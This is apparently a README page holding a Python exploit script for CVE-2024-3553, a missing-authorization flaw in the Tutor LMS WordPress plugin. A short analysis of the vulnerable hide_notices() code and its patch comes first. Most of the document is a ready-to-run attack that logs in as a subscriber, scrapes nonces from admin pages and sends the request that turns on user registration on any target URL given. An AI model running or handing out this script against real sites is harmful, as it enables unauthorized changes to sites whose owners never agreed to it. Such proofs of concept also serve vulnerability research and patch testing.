README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization Vulnerability (Version 2)
Author: Security Researcher
Date: 2024
This exploit demonstrates the missing capability check in the hide_notices() function
that allows any authenticated user (even subscribers) to enable user registration.
VULNERABILITY ANALYSIS:
The vulnerable code in classes/User.php (version 2.6.2):
public function hide_notices() {
$hide_notice = Input::get( 'tutor-hide-notice', '' );
$is_register_enabled = Input::get( 'tutor-registration', '' );
if ( is_admin() && 'registration' === $hide_notice ) {
tutor_utils()->checking_nonce( 'get' );
if ( 'enable' === $is_register_enabled ) {
update_option( 'users_can_register', 1 ); // <-- Missing capability check!
} else {
self::$hide_registration_notice = true;
setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
}
}
}
KEY VULNERABILITY POINTS:
1. is_admin() only checks if we're in the admin area, NOT if user is an administrator
2. ANY authenticated user can access /wp-admin/ (even subscribers)
3. The nonce check happens AFTER is_admin(), and nonces can be obtained by any logged-in user
4. NO capability check like current_user_can('manage_options')
5. This allows subscribers/low-privilege users to enable registration
PATCHED CODE (version 2.7.0):
Added: $has_manage_cap = current_user_can( 'manage_options' );
And checks this capability before allowing the option update.
"""
import argparse
import requests
import sys
from urllib.parse import urljoin
import re
class TutorLMSExploit:
def __init__(self, target_url, username=None, password=None):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def create_subscriber_account(self):
"""
Create a low-privilege subscriber account to demonstrate the vulnerability.
This simulates an attacker who has created an account on the site.
"""
print("[*] Step 1: Attempting to create a subscriber account...")
# Check if registration is already enabled
register_url = urljoin(self.target_url, '/wp-login.php?action=register')
response = self.session.get(register_url)
if 'user_login' not in response.text:
print("[-] Registration is disabled. Cannot create test account.")
print("[!] This is actually what we're trying to exploit - but we need an existing account")
print("[!] For testing, we'll use provided credentials or admin account")
return False
print("[+] Registration is enabled, creating test subscriber account...")
# Generate test credentials
import random
import string
rand_suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=6))
test_user = f'testuser_{rand_suffix}'
test_email = f'{test_user}@example.com'
test_pass = 'TestPass123!'
# Register the account
register_data = {
'user_login': test_user,
'user_email': test_email,
'submit': 'Register'
}
response = self.session.post(register_url, data=register_data)
if 'check your email' in response.text.lower() or response.status_code == 200:
print(f"[+] Subscriber account created: {test_user}")
self.username = test_user
self.password = test_pass # WordPress sends password via email, but for testing we can try default
return True
else:
print("[-] Failed to create subscriber account")
return False
def login(self):
"""Login to WordPress with the provided credentials."""
print(f"\n[*] Attempting to login as: {self.username}")
login_url = urljoin(self.target_url, '/wp-login.php')
login_data = {
'log': self.username,
'pwd': self.password,
'wp-submit': 'Log In',
'redirect_to': urljoin(self.target_url, '/wp-admin/'),
'testcookie': '1'
}
response = self.session.post(login_url, data=login_data, allow_redirects=True)
# Check if login was successful
if 'wp-admin' in response.url or 'dashboard' in response.text.lower() or 'profile.php' in response.text:
print(f"[+] Successfully logged in as: {self.username}")
return True
else:
print(f"[-] Failed to login as: {self.username}")
return False
def get_nonce_from_admin(self):
"""
Get a nonce from the WordPress admin area.
Any authenticated user can access /wp-admin/ and obtain nonces.
"""
print("\n[*] Step 2: Extracting nonce from admin area...")
# Access the admin dashboard
# Even subscribers can access /wp-admin/, they just see limited options
admin_url = urljoin(self.target_url, '/wp-admin/')
response = self.session.get(admin_url)
if response.status_code != 200:
print(f"[-] Failed to access admin area: {response.status_code}")
return None
# WordPress generates nonces for various actions
# We need a nonce for the 'tutor_nonce_action' action
# However, the checking_nonce function typically looks for _wpnonce parameter
# Look for any WordPress nonce in the page
nonce_patterns = [
r'_wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']',
r'_wpnonce=([a-f0-9]+)',
r'name=["\']_wpnonce["\']\s+value=["\']([a-f0-9]+)["\']',
r'wpnonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']'
]
for pattern in nonce_patterns:
match = re.search(pattern, response.text, re.IGNORECASE)
if match:
nonce = match.group(1)
print(f"[+] Found nonce: {nonce}")
return nonce
# If we can't find a general nonce, we need to generate one
# WordPress nonces are based on: action, user, timestamp
# We can try to get one from any admin page action
# Try to get nonce from the profile page
profile_url = urljoin(self.target_url, '/wp-admin/profile.php')
response = self.session.get(profile_url)
for pattern in nonce_patterns:
match = re.search(pattern, response.text, re.IGNORECASE)
if match:
nonce = match.group(1)
print(f"[+] Found nonce from profile page: {nonce}")
return nonce
print("[-] Could not extract nonce from admin pages")
return None
def generate_tutor_nonce(self):
"""
Alternative approach: Generate a nonce for the tutor_nonce_action.
This requires accessing a page that creates this specific nonce.
"""
print("\n[*] Attempting to generate Tutor-specific nonce...")
# The admin notice itself generates the nonce we need
# But it only shows if registration is disabled AND user is admin
# However, we can try to access Tutor pages that might generate nonces
tutor_pages = [
'/wp-admin/admin.php?page=tutor',
'/wp-admin/admin.php?page=tutor_settings',
'/wp-admin/index.php' # Dashboard might show the notice
]
for page in tutor_pages:
url = urljoin(self.target_url, page)
response = self.session.get(url)
# Look for tutor nonce
nonce_match = re.search(r'_tutor_nonce["\']?\s*[:=]\s*["\']([a-f0-9]+)["\']', response.text, re.IGNORECASE)
if not nonce_match:
nonce_match = re.search(r'tutor-hide-notice=registration[^"]*_wpnonce=([a-f0-9]+)', response.text)
if nonce_match:
nonce = nonce_match.group(1)
print(f"[+] Found Tutor nonce from {page}: {nonce}")
return nonce
return None
def check_registration_status(self):
"""Check if user registration is currently enabled."""
print("\n[*] Checking current registration status...")
register_url = urljoin(self.target_url, '/wp-login.php?action=register')
response = self.session.get(register_url, allow_redirects=False)
if response.status_code == 302 or 'disabled' in response.text.lower():
print("[+] Registration is currently DISABLED")
return False
elif 'user_login' in response.text:
print("[+] Registration is currently ENABLED")
return True
else:
print("[?] Registration status unclear")
return None
def exploit(self, nonce):
"""
Execute the exploit to enable user registration.
This exploits the missing capability check in hide_notices() by:
1. Being logged in as any user (even subscriber)
2. Accessing the admin area (/wp-admin/) which sets is_admin() to true
3. Providing the required GET parameters
4. Passing nonce validation
5. No capability check prevents us from updating the option
"""
print(f"\n[*] Step 3: Executing exploit to enable user registration...")
print(f"[*] Target: {self.target_url}")
print(f"[*] Using nonce: {nonce}")
# Construct the exploit URL
# The hide_notices() function is triggered on 'admin_init' hook
# So we need to make a request to any admin page with the right parameters
exploit_url = urljoin(self.target_url, '/wp-admin/index.php')
params = {
'tutor-hide-notice': 'registration',
'tutor-registration': 'enable',
'_wpnonce': nonce # WordPress standard nonce parameter
}
print(f"[*] Exploit URL: {exploit_url}")
print(f"[*] Parameters: {params}")
try:
response = self.session.get(exploit_url, params=params, allow_redirects=True)
print(f"[*] Response status: {response.status_code}")
if response.status_code == 200:
print("[+] Exploit request sent successfully!")
return True
else:
print(f"[-] Unexpected response: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error during exploitation: {str(e)}")
return False
def verify_success(self):
"""Verify that the exploit was successful."""
print("\n[*] Step 4: Verifying exploitation success...")
import time
time.sleep(1) # Brief delay for changes to propagate
status = self.check_registration_status()
print("\n" + "=" * 70)
if status == True:
print("[!] EXPLOITATION SUCCESSFUL!")
print("[!] User registration is now ENABLED")
print("[!] ")
print("[!] Impact: An attacker with a low-privilege account (subscriber)")
print("[!] was able to enable user registration on a site where it was")
print("[!] disabled. This could allow creation of additional accounts,")
print("[!] potentially leading to spam or unauthorized access.")
print("=" * 70)
return True
elif status == False:
print("[-] EXPLOITATION FAILED")
print("[-] User registration is still DISABLED")
print("=" * 70)
return False
else:
print("[?] EXPLOITATION STATUS UNCLEAR")
print("[?] Manual verification recommended")
print("=" * 70)
return None
def run(self):
"""Execute the complete exploitation chain."""
print("=" * 70)
print("CVE-2024-3553 Exploit - Tutor LMS Missing Authorization")
print("Target: " + self.target_url)
print("=" * 70)
# Check initial registration status
initial_status = self.check_registration_status()
if initial_status == True:
print("\n[!] Registration is already enabled.")
print("[!] For demonstration, this should be disabled first.")
return False
# Login with provided credentials
if not self.username or not self.password:
print("\n[-] No credentials provided. Cannot proceed without authentication.")
print("[!] This vulnerability requires an authenticated user.")
print("[!] Use --username and --password parameters")
return False
if not self.login():
return False
# Get nonce
nonce = self.get_nonce_from_admin()
if not nonce:
nonce = self.generate_tutor_nonce()
if not nonce:
print("\n[-] Failed to obtain nonce. Exploitation cannot continue.")
return False
# Execute exploit
if self.exploit(nonce):
return self.verify_success()
else:
print("\n[-] Exploitation failed during request phase")
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2024-3553 Exploit - Tutor LMS Missing Authorization',
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument('target', help='Target WordPress URL (e.g., https://example.com)')
parser.add_argument('--username', '-u', help='WordPress username (can be subscriber/low-privilege user)')
parser.add_argument('--password', '-p', help='WordPress password')
parser.add_argument('--check-only', action='store_true',
help='Only check registration status')
args = parser.parse_args()
exploit = TutorLMSExploit(args.target, args.username, args.password)
if args.check_only:
exploit.check_registration_status()
else:
success = exploit.run()
sys.exit(0 if success else 1)
if __name__ == '__main__':
main()